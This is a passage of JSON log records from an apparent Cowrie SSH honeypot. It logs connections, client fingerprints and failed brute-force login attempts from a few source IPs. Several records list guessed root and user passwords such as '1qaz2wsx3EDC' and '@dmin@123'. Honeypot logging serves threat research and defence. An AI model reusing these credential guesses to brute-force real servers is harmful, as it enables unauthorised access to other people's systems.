failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.275002Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.356205Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.413340Z","src_ip":"60.165.124.241","session":"d600f677b6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqqq123","message":"login attempt [root/ASDqqq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:27.155832Z","src_ip":"60.165.124.241","session":"d600f677b6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"96d978f99449","protocol":"ssh","message":"New connection: 2.57.122.208:38922 (159.203.135.109:22) [session: 96d978f99449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.004258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.346180Z","src_ip":"2.57.122.208","session":"96d978f99449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.350296Z","src_ip":"2.57.122.208","session":"96d978f99449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.404179Z","src_ip":"60.165.124.241","session":"d600f677b6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37850,"dst_ip":"10.17.0.5","dst_port":22,"session":"59060c8397d3","protocol":"ssh","message":"New connection: 60.165.124.241:37850 (10.17.0.5:22) [session: 59060c8397d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.642679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.646798Z","src_ip":"60.165.124.241","session":"59060c8397d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:28.896656Z","src_ip":"60.165.124.241","session":"59060c8397d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:30.288935Z","src_ip":"2.57.122.208","session":"96d978f99449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"521123","message":"login attempt [root/521123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:30.293746Z","src_ip":"60.165.124.241","session":"59060c8397d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:31.548617Z","src_ip":"60.165.124.241","session":"59060c8397d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:31.714139Z","src_ip":"2.57.122.208","session":"96d978f99449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41792,"dst_ip":"10.17.0.5","dst_port":22,"session":"524f3be5328c","protocol":"ssh","message":"New connection: 60.165.124.241:41792 (10.17.0.5:22) [session: 524f3be5328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:31.804498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:31.809216Z","src_ip":"60.165.124.241","session":"524f3be5328c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:32.062730Z","src_ip":"60.165.124.241","session":"524f3be5328c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy12345678","message":"login attempt [root/Yy12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:32.839187Z","src_ip":"60.165.124.241","session":"524f3be5328c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:34.102247Z","src_ip":"60.165.124.241","session":"524f3be5328c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44866,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef22ec82437d","protocol":"ssh","message":"New connection: 60.165.124.241:44866 (10.17.0.5:22) [session: ef22ec82437d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:34.342154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:34.345903Z","src_ip":"60.165.124.241","session":"ef22ec82437d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:34.604002Z","src_ip":"60.165.124.241","session":"ef22ec82437d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3EDC","message":"login attempt [root/1qaz2wsx3EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:35.357126Z","src_ip":"60.165.124.241","session":"ef22ec82437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:36.621216Z","src_ip":"60.165.124.241","session":"ef22ec82437d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47396,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bfccc5409b0","protocol":"ssh","message":"New connection: 60.165.124.241:47396 (10.17.0.5:22) [session: 6bfccc5409b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:36.869323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:36.874035Z","src_ip":"60.165.124.241","session":"6bfccc5409b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:37.129387Z","src_ip":"60.165.124.241","session":"6bfccc5409b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin@123","message":"login attempt [root/@dmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:37.896773Z","src_ip":"60.165.124.241","session":"6bfccc5409b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:39.161538Z","src_ip":"60.165.124.241","session":"6bfccc5409b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d4905cf300","protocol":"ssh","message":"New connection: 60.165.124.241:50642 (10.17.0.5:22) [session: d6d4905cf300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:39.422070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:39.426627Z","src_ip":"60.165.124.241","session":"d6d4905cf300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:39.680555Z","src_ip":"60.165.124.241","session":"d6d4905cf300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc.123","message":"login attempt [root/qweasdzxc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:40.464598Z","src_ip":"60.165.124.241","session":"d6d4905cf300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:41.722329Z","src_ip":"60.165.124.241","session":"d6d4905cf300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53554,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee4564fc60b","protocol":"ssh","message":"New connection: 60.165.124.241:53554 (10.17.0.5:22) [session: eee4564fc60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:41.989196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:41.993428Z","src_ip":"60.165.124.241","session":"eee4564fc60b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:42.251348Z","src_ip":"60.165.124.241","session":"eee4564fc60b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chengshi@123CS","message":"login attempt [root/chengshi@123CS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:43.047813Z","src_ip":"60.165.124.241","session":"eee4564fc60b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:44.318744Z","src_ip":"60.165.124.241","session":"eee4564fc60b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f575fbeeade2","protocol":"ssh","message":"New connection: 60.165.124.241:56810 (10.17.0.5:22) [session: f575fbeeade2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:44.547573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:44.551631Z","src_ip":"60.165.124.241","session":"f575fbeeade2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 